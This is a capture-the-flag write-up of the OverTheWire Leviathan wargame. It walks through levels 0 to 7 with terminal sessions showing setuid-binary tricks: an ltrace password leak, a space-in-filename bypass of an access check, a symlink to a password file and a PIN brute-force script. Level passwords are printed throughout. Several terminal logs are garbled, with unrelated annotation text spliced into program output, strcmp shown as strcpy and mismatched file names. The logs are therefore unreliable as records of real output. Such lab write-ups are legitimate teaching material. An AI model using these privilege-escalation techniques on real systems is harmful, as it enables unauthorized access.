

Wargame Leviathan: Report

Github: https://github.com/tashi21/SE2_ParitoshPanda

Level 0

After connecting to the remote host, I listed the contents of the home directory. I saw a hidden directory `.backup/`, so I changed into it. I saw there was a file `backups.html` so I printed its content. It turned out to be a huge file so I decided to filter my search. Using `grep` I found the line containing the password for the next level.

```

leviathan0@gibson:~$ ls -la
total 24
drwxr-xr-x  3 root  root   4096 Jan 11 19:18 .
drwxr-xr-x 83 root  root   4096 Jan 11 19:19 ..
drwxr-xr-x  2 leviathan1 leviathan0 4096 Jan 11 19:18 .backup
-rw-r--r--  1 root  root    220 Jan 6  2022 .bash_logout
-rw-r--r--  1 root  root   3771 Jan 6  2022 .bashrc
-rw-r--r--  1 root  root    807 Jan 6  2022 .profile
leviathan0@gibson:~$ cd .backup/
leviathan0@gibson:~/.backup$ grep 'password' bookmarks.html
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html" | This will be fixed later, the password for leviathan1 is PPIfmI1qsA" ADD_DATE="1155384634" LAST_CHARSET="ISO-88
59-1" ID="rdf:#$2wIU71">password to leviathan1</A>
leviathan0@gibson:~/.backup$

```

Level 1

Upon listing the contents of the home directory, I found an executable `check`. I read through the bash config files just for a sanity check (they provided no clues). Running the executable revealed that it asks for a password. So I decided to extract more information from the executable file. I looked online and found the following resources that could give me an insight into what steps to take:

1. [Site 1](#)
2. [Site 2](#)

I first tried *strings check* which gave a list of readable words. I tried “secref” and “love” as possible passwords. *ltrace ./check* gave me the functions being called at runtime which showed that *strcmp* was being called and checked against “sex”, which turned out to be the password for the executable.

```

leviathan1@gibson:~$ ltrace ./check
__libc_start_main(0x80491e6, 1, 0xffffd5c4, 0 <unfinished ...>
printf("password: ") = 10
getchar(0xf77be4a0, 0xf7fd6f80, 0x786573, 0x646f67password:
) = 10 list all directory contents (including hidden files and folders)
getchar(0xf77be4a0, 0xf7fd6f8a, 0x786573, 0x646f67
) = 10 move in backup folder
getchar(0xf77be4a0, 0xf7fd6a0a, 0x786573, 0x646f67
) = 10 replace folder contents
strcpy("\n\n", "sex") cat bookmarks.html print contents of the file = -1
puts("Wrong password, Good Bye ...") Wrong password, Good Bye ...
grep 'password' bookmarks.html > get any line = 29aining the word "password"
+++ exited (status 0) +++
leviathan1@gibson:~$

```

I tried it as the password for level2 but that turned out to be wrong. I went back to running `./check` and logging in and realized this was a terminal. `whoami` showed that it was `leviathan2` so I got the password from `cat /etc/leviathan_pass/leviathan2`.

```

leviathan1@gibson:~$ ./check
password: sex
$ whoami
leviathan2
$ cd /etc/leviathan_pass/
$ cat leviathan2
mEh5PW110e
$

```

Level 2

On running `./printfile`, I figured it was a tool to print the contents of a file. I checked this by printing `.bashrc` using this exe. On running `ltrace ./printfile`, I saw that it called `access <filename>` and `cat <filename>`. `access` checks if the calling process can access the given pathname.

```

leviathan2@gibson:/tmp/tmp.8Uu8SRgnkWS alias tmp='cd /tmp/tmp.8Uu8SRgnkWS'
leviathan2@gibson:/tmp/tmp.8Uu8SRgnkWS cd ~
leviathan2@gibson:/tmp/tmp.8Uu8SRgnkWS$ cd /etc/leviathan_pass/leviathan3
-bash: cd: /etc/leviathan_pass/leviathan3: Not a directory
leviathan2@gibson:/tmp/tmp.8Uu8SRgnkWS$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
ltrace ./check
__libc_start_main(0x80491e6, 2, 0xffffd554, 0 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4)
puts("You cant have that file...") You cant have that file...
cd /etc/leviathan_pass/ > navigate to password = 27tory
+++ exited (status 1) +++
leviathan2@gibson:/tmp/tmp.8Uu8SRgnkWS$ echo blah > test.txt
leviathan2@gibson:/tmp/tmp.8Uu8SRgnkWS$ ls -la
total 176
drwx----- 2 leviathan2 leviathan2 4096 Feb 4 18:06 .
drwxrwx-wt 4354 root root 167936 Feb 4 18:06 ..
-rw-rw-r-- 1 leviathan2 leviathan2 5 Feb 4 18:06 test.txt
leviathan2@gibson:/tmp/tmp.8Uu8SRgnkWS$ ltrace ./printfile test.txt
__libc_start_main(0x80491e6, 2, 0xffffd574, 0 <unfinished ...>
access("/test.txt", 4)
snprintf("/bin/cat test.txt", 511, "/bin/cat %s", "test.txt")
getuid()
getuid()
setreuid(12002, 12002)
system("/bin/cat test.txt") blah
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed>
+++ exited (status 0) +++

```

Running `ltrace ~/printfile /etc/leviathan_pass/leviathan3` fails and displays I can't access the file. I tried creating a file in the temporary directory since I would have access.

Running `ltrace ~/printfile text.txt` printed the contents of the file. I need to bypass `access()` and using a file I own will get me that, and `cat` can print the contents of `/etc/leviathan_pass/leviathan3` since `printfile` is owned by `leviathan3` and the `setuid` bit is set for it, meaning no matter who calls the exe it will run with the permissions of its owner. When `cat` gets space separated strings it treats them as different files and prints their contents one by one. I created a file `'pass leviathan3'` in my temp directory, navigated to the password directory and ran the `printfile` command which provided me with the password.

```
leviathan2@gibson: /tmp/tmp.8Uu8SRgnkWS touch 'pass leviathan3'
leviathan2@gibson: /tmp/tmp.8Uu8SRgnkWS cd /etc/leviathan_pass/
leviathan2@gibson: /etc/leviathan_pass$ ~/printfile '/tmp/tmp.8Uu8SRgnkWS/pass leviathan3'
/bin/cat: /tmp/tmp.8Uu8SRgnkWS/pass: Permission denied
Q0G8j4sakh
leviathan2@gibson: /etc/leviathan_pass$ touch /tmp/tmp.8Uu8SRgnkWS - create a temporary directory where I can play around
leviathan2@gibson: /etc/leviathan_pass$ cd /tmp/tmp.8Uu8SRgnkWS - cd to the temporary directory I created
```

Level 3

Level3 was exactly like Level 1, it was comparing with some other string at the start but that just seems like a way to deter someone, pressing enter again gave another string comparison, trying which gave access to the `leviathan4` shell. Using that I could print the password of `leviathan4`.

```
leviathan3@gibson:~$ ltrace ~/level3
libc_start_main(0x80492bf, 1, 0xffffd594, 0 <unfinished ...>
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> 0x7fab620, 256, 0x7fab620) = 0xffffd36c
strcmp("\n", "snprintf\n") strings check : gave readable and formatted output but not the password = -1
puts("bzzzzzzzzzap. WRONG"bzzzzzzzzzap. WRONG) = 19
+++ exited (status 0) +++
leviathan3@gibson:~$ ~/level3
Enter the password> snprintf
[You've gpt shell!]
$ cat /etc/leviathan_pass/leviathan4 /etc/leviathan_pass/ navigate to password directory
AgvropI40A cat leviathan2 print password
$ exit
leviathan3@gibson:~$ password: mB5Pn10w
```

Level 4

Checking the contents of the home directory, I saw there was a hidden `.trash` directory. Changing into that and seeing its contents, there was an executable `bin` that just printed a binary sequence. I got the ASCII conversion from an online converter and that worked as the password for level 5.

```

leviathan4@gibson:~$ ls -la
total 24
drwxr-xr-x 3 root root 4096 Jan 11 19:18 .
drwxr-xr-x 3 root root 4096 Jan 11 19:18 ..
-rw-r--r-- 1 root root 220 Jan  6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan  6 2022 .bashrc
-rw-r--r-- 1 root root 807 Jan  6 2022 .profile
drwxr-xr-x 2 root leviathan4 4096 Jan 11 19:18 .trash
leviathan4@gibson:~$ cd .trash/
leviathan4@gibson:~/trash$ ls -la
total 24
dr-xr-x--- 2 root leviathan4 4096 Jan 11 19:18 .
drwxr-xr-x 3 root root 4096 Jan 11 19:18 ..
-r-sr-x--- 1 leviathan5 leviathan4 14928 Jan 11 19:18 bin
leviathan4@gibson:~/trash$ ./bin
01000101 01001011 01001011 01101100 01000110 00110001 01011000 01110001 01110011 00001010
leviathan4@gibson:~/trash$

```

Level 5

The home directory has an executable *leviathan5* running which said it could not find */tmp/file.log*. I created this file with some text and ran the exe again and it printed the contents of the file. I figure I can make a symbolic link between this log file and the leviathan6 password file.

```

leviathan5@gibson:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@gibson:~$ ./bin
YZ55XPK21
leviathan5@gibson:~$

```

Level 6

Running *file leviathan6* showed that it was non-stripped, meaning it has some debugging information attached to it. Maybe using *gdb* could reveal something. *ltrace ~leviathan6 1234* just showed that it was calling *atoi*. I need to figure out the 4 digit password.

I tried going through *gdb* but I couldn't really understand what to do so I decided to brute force it and write a shell script that will input all numbers from 0000 to 9999. The script was executing but it would stop and not do anything after 7122. I thought my code was wrong but then I manually input 7123 as the password for *leviathan6* and saw that that was the password and my shellscript was correct, it stalled because it had entered the shell that *leviathan6* gives access to.

```

leviathan6@gibson:/tmp/tmp.ZyCDrdH9nP$ echo '
> #! /bin/sh
for n1 in 0 1 2 3 4 5 6 7 8 9; do
  for n2 in 0 1 2 3 4 5 6 7 8 9; do
    for n3 in 0 1 2 3 4 5 6 7 8 9; do
      for n4 in 0 1 2 3 4 5 6 7 8 9; do
        pass="${n1}${n2}${n3}${n4}"
        out=$(~/leviathan6 $pass)
        if [ "$out" != "Wrong" ]; then
          echo "$pass"
          exit
        else
          echo "$pass was Sout"
        fi
      done
    done
  done
done
' > test.sh
leviathan6@gibson:/tmp/tmp.ZyCDrdH9nP$ ./test.sh

^Cleviathan6@gibson:/tmp/tmp.ZyCDrdH9nP$ ~/leviathan6 7123
$ cat /etc/leviathan_pass/leviathan7
8qpZ5f8Hzc
$

```

Level 7

```

leviathan7@gibson:~$ ls -la
total 24
drwxr-xr-x  2 root    root    4096 Jan 11 19:18 .
drwxr-xr-x 83 root    root    4096 Jan 11 19:19 ..
-rw-r--r--  1 root    root    220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root    root    3771 Jan  6  2022 .bashrc
-rw-r--r--  1 leviathan7 178 Jan 11 19:18 CONGRATULATIONS
-rw-r--r--  1 root    root    887 Jan  6  2022 .profile
leviathan7@gibson:~$ cat CONGRATULATIONS
Well Done, you seem to have used a *nix system before, now try something more serious.
(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)
leviathan7@gibson:~$

```